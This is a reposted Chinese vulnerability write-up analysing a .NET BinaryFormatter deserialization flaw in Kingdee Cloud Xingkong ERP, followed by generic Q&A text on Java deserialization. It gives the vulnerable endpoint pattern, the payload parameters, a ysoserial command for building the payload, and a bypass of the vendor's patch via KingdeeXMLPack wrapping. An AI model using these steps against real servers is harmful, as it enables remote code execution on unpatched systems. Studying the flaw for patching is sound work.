某云的反序列漏洞及绕过思路分析

本文详细解析了Kingdee星空系统中的反序列化漏洞,涉及调试环境设置、漏洞原理、利用方法,以及如何通过修改format和参数策略来绕过漏洞。作者还提供了修复建议和绕过思路。
摘要由CSDN通过智能技术生成

0x00 漏洞前言

最近看到Kingdee星空反序列化漏洞各种各样的接口,本文将分析其漏洞原理及绕过思路,入门学习.NET程序的调试过程。

0x01 调试环境

参照网络上Kingdee星空安装教程搭建即可,调试工具使用dnspy:

1、搜索dll文件定位exe程序

图片-20231205162814438

2、附加进程到dnSpy中

调试-->附加到进程(P)-->附加

3、搜索要调试的程序集

调试-->窗口-->模块(如果搜不到说明dll文件还没加载进来,先触发使其加载后再搜索)

图片-20231205165053340

4、断点调试

注意:如果调试时dnSpy报错:无法获取局部变量或参数的值,因为它在此时不可用,可能是被优化了

图片-20231205152932598

根据 dnSpy的wiki描述:创建ini文件禁用编译优化(创建完后需重启iis服务器);配置环境变量。

0x02 漏洞分析

根据网络上的POC可以发现漏洞的url路径都是以结尾的,我们在web.config文件中搜索可以发现handlers对Http Request请求做了处理:.kdsvc

图片-20231205145807144

path="*kdsvc"
处理程序要处理的请求路径,即当应用程序收到路径以kdsvc结尾的请求时进行处理
verb="*"
处理程序要处理的HTTP动作,在这里*表示该处理程序将处理所有类型的HTTP请求包括GET、POST等
type="xxx,xxx"
处理程序的类型,这里的类型由两部分组成,处理程序类型的完全限定名,命令空间(dll文件)

断点入口找到dll文件展开后定位到具体类:,该类是对传入的url参数进行处理后返回程序实例KDSVCHandler:Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler

图片-20231205171151154

查看该处理器,第一个方法为:ProcessRequest

image-20231206161045763

其中方法是对HTTP Request请求做处理,判断请求方法、是否为json格式:RequestExtractor#Creat

image-20231206162514430

我们可以看到方法根据ContentType是否包含json返回flag:IsContainsJson

image-20231206162729205

然后通过将request传递的值进行属性的赋值:requestExtractor = new JQueryRequestExtractor(request, isGet)

image-20231206172733816

继续跟进该实例的方法,该方法用于处理HTTP请求并根据请求的情况执行相应的逻辑包含返回相应状态码等:RequestExcuteRuntime#StartRequest

image-20231206112439778

方法里调用了方法,方法在处理完会话信息后,继续执行到69行我们可以发现这里的path为我们传递的url ,通过 生成一个localFile,接着调用了方法:RequestExcuteRuntime#StartRequestRequestExcuteRuntime#BeginRquestwebCtx.Context.Server.MapPath(path)ServiceTypeManager#BuidServiceType

image-20231206113840439

跟进该方法可以发现,首先会判断localFile是否包含,如果包含会进入方法,该方法会通过查找缓存或在程序集中搜索提取出类名和方法名等:common.kdsvcServiceTypeManager.ReflectServiceType

image-20231206114549901

接着方法会走到处:RequestExcuteRuntime#BeginRquestRequestExcuteRuntime.pipeline.ExcuteRequest(kdserviceContext)

图片-20231206151350980

跟进方法可以看到,对Modules的遍历会进入不同的OnProcess方法(是对request请求校验:分别为是否为https、session信息、version信息以及API鉴权):

图片-20231206151556338

最后一次循环会进入方法中:ExecuteServiceModule#OnProcess

图片-20231206175314632

方法用于处理参数的提取和验证(即payload位置这里重点关注下),对传入的参数进行判断,首先判断参数是否包含,如果包含则创建一个JSON数组;当payload传入的参数为ap0时,会进入else里遍历所有的ap+数字:RequestExtractor#GetServiceParametersparameters

图片-20231206174524352

所以这里我们猜想payload的参数位置应该可以为两个:

{"parameters": "[\"payload\"]"}
{"ap*": "payload"}

对参数处理完后方法进入如下:

SerializerProxy serializeProxy = new SerializerProxy(requestExtractor.Format, contentEncoding, requestExtractor.Compressed, requestExtractor.UserAgent, requestExtractor.UrlForm_Encode);

这。Format=format对传入的参数format定义,我们传入的format=3会匹配到Binary(直接给format赋值为 Binary也是可以的):

图片-20231206180628658

接着会到方法:ServiceExecutor#Execute

图片-20231206152041905

该方法首先需要用构造函数参数来实例化一个特定类型的对象obj且传参只能为context即,然后调用不同的进行反序列化处理,所以如果任意一个类型的构造函数支持传递该参数都可以进入反序列化:KDServiceContextserializer.Deserializer

图片-20231207150855570

进入的第一个反序列化方法为,该方法用来对参数类型做判断方法如下,参数类型不能为(string、int、byte、float...):SerializerProxy#Deserialize

        public object Deserialize(string content, Type type)
        {
            if (string.IsNullOrEmpty(content))
            {
                if (type.IsValueType)
                {
                    return Activator.CreateInstance(type);
                }
                if (type.Equals(typeof(string)))
                {
                    return content;
                }
                return null;
            }
            else if (type == typeof(string))
            {
                if (this.proxy.RequireEncoding)
                {
                    byte[] array = this.proxy.Encoder.Decoding(content);
                    return this.encoding.GetString(array, 0, array.Length);
                }
                return content;
            }
            else
            {
                if (type.IsEnum)
                {
                    return Enum.Parse(type, content, true);
                }
                if (type == typeof(int))
                {
                    return int.Parse(content);
                }
                if (type == typeof(byte))
                {
                    return byte.Parse(content);
                }
                if (type == typeof(float))
                {
                    return float.Parse(content);
                }
                if (type == typeof(double))
                {
                    return double.Parse(content);
                }
                if (type == typeof(long))
                {
                    return long.Parse(content);
                }
                if (type == typeof(DateTime))
                {
                    return DateTime.Parse(content);
                }
                if (type == typeof(decimal))
                {
                    return decimal.Parse(content);
                }
                if (type == typeof(bool))
                {
                    return bool.Parse(content);
                }
                return this.proxy.Deserialize(content, type);
            }
        }

最终进入方法中通过方法实现反序列化(根据微软描述:将BinaryFormatter.Deserialize方法用于不受信任的输入时,该方法永远都不安全):BinaryFormatterProxy#DeserializeBinaryFormatter#Deserialize

图片-20231207144047221

0x03 漏洞总结

1、Url路径:程序集.满足条件的类.common.kdsvc

满足构造函数支持传递KDServiceContext类型,且传递参数不为上述方法中的类型即可,我们可以看到在程序集中满足条件的类非常多,这里我们就找第一个类说明下:SerializerProxy#DeserializeKingdee.BOS.ServiceFacade.ServicesStub

图片-20231207154931752

再找一个满足传参的类,如:

SaveBizTipsInfos(string bizHost, List<IBizTipsInfos> tips)

2、参数

  1. 使用ap作为参数

由于第一个参数为字符串,所以我们需要用第二个参数来传递有效载荷,这里我们用ysoserial.exe生成:

ysoserial.exe -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll" -f BinaryFormatter -o base64 -g ActivitySurrogateSelectorFromFile

图片-20231207155405575

  1. 使用parameters作为参数

parameters根据上述方法可以得知,需要传递一个数组对象,同样由于第一个参数为string不能放payload,所以将paylaod放置在数组的第二个位置即可:RequestExtractor#GetServiceParameters

图片-20231207172937604

0x04 修复&绕过

漏洞修复:启用金蝶数据签名校验格式KigndeeXml格式并禁用了二进制序列化:

<add key="KDSVCDefaultFormat" value="4"/>
<add key="EnabledKDSVCBinary" value="false"/>

绕过思路:修改format为4,即赋值为KingdeeXml,我们可以看到代码最终还是会通过反序列化为KingdeeXMLPack对象:BinaryFormatter#Deserialize

KingdeeXMLPack kingdeeXMLPack = obj as KingdeeXMLPack;
if (kingdeeXMLPack != null)
{
    BinaryFormatterProxy binaryFormatterProxy = new BinaryFormatterProxy(this.encoding, false);
    obj = binaryFormatterProxy.Deserialize(kingdeeXMLPack.Data, type);
}

所以我们可以将参数修改为KingdeeXMLPack形式:

{"ap0": "<KingdeeXMLPack>BinaryPayload</KingdeeXMLPack>", "format": "4"}

我们发现也是可以成功执行的:

图片-20231214151852764

原文链接:https://forum.butian.net/share/2658

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

### 回答1: Java序列漏洞一般利用思路是利用Java序列化机制,将恶意序列化数据传递给目标系统,从而实现远程代码执行、拒绝服务等攻击。攻击者通常会构造恶意序列化数据,使其在序列化过程中触发漏洞,从而执行恶意代码。为了防范此类攻击,可以采取一些措施,如限制序列化对象的类型、使用安全序列化库等。 ### 回答2: Java序列漏洞利用思路主要包括以下几个步骤: 1. 找到目标:攻击者首先需要找到运行了可利用Java序列漏洞的目标程序。这可以通过分析目标程序的代码、网络流量或者漏洞公开报告等途径进行。 2. 构造恶意序列化数据:攻击者需要构造恶意的序列化数据,这些数据会被目标程序读取并解析。攻击者可以使用一些工具或者手动编写代码来生成恶意序列化数据。 3. 选择合适的漏洞利用方式:根据目标程序的具体情况,攻击者可以选择合适的漏洞利用方式。常见的利用方式包括Java序列化的漏洞利用链,如利用未经过正确检验的序列化的对象进行远程代码执行或者文件读写等操作。 4. 发送恶意序列化数据:攻击者需要将构造好的恶意序列化数据发送给目标程序。这可以通过网络连接、文件上传、内存注入等方式进行。 5. 触发序列化:目标程序接收到攻击者发送的序列化数据后,会进行相应的序列化操作。在解析过程中,如果存在漏洞,则恶意代码会被执行,导致安全问题。 6. 实现攻击目标:一旦恶意代码被执行,攻击者可以获得对目标程序的控制,从而进行进一步的攻击行为。这可能包括窃取敏感信息、执行任意代码、篡改数据等。 为了防范Java序列漏洞的利用,开发者可以采取一些措施,如使用安全序列化和序列化库、校验序列化输入、限制序列化操作的范围和权限等。同时,及时更新和修补已知的漏洞也是非常重要的。 ### 回答3: Java序列漏洞利用思路如下: 在Java中,对象的序列化是将对象转换为字节流的过程,而序列化则是将字节流还原为对象的过程。序列漏洞是指攻击者通过构造恶意的序列化数据,再使用该数据进行序列化操作,从而导致程序在序列化的过程中触发各种安全漏洞。 通常的利用思路如下: 1. 找到存在序列漏洞的目标:通过静态代码分析、动态分析或源码审计等手段,找到存在序列漏洞的应用程序。 2. 构造恶意的序列化数据:攻击者通过修改或创建特定的序列化数据,来生成恶意的序列化数据。这些数据可能包含有害的代码或意外的操作。 3. 发送恶意数据进行序列化:攻击者将构造好的恶意序列化数据发送给目标应用程序,并通过触发序列化操作,将恶意数据还原为对象。此时,存在漏洞的应用程序会执行恶意代码,并可能导致安全问题。 4. 利用漏洞进行攻击:一旦恶意代码被执行,攻击者可以在目标系统上执行各种恶意操作,如执行任意命令、远程代码执行、获取敏感信息等。 为了避免被序列漏洞攻击,需要对序列化操作进行安全措施,比如使用白名单机制限制可序列化的类、对序列化方法进行签名等。同时,定期更新和修复Java环境,以及对目标应用程序进行安全测试和代码审计,也是减少序列漏洞风险的重要措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值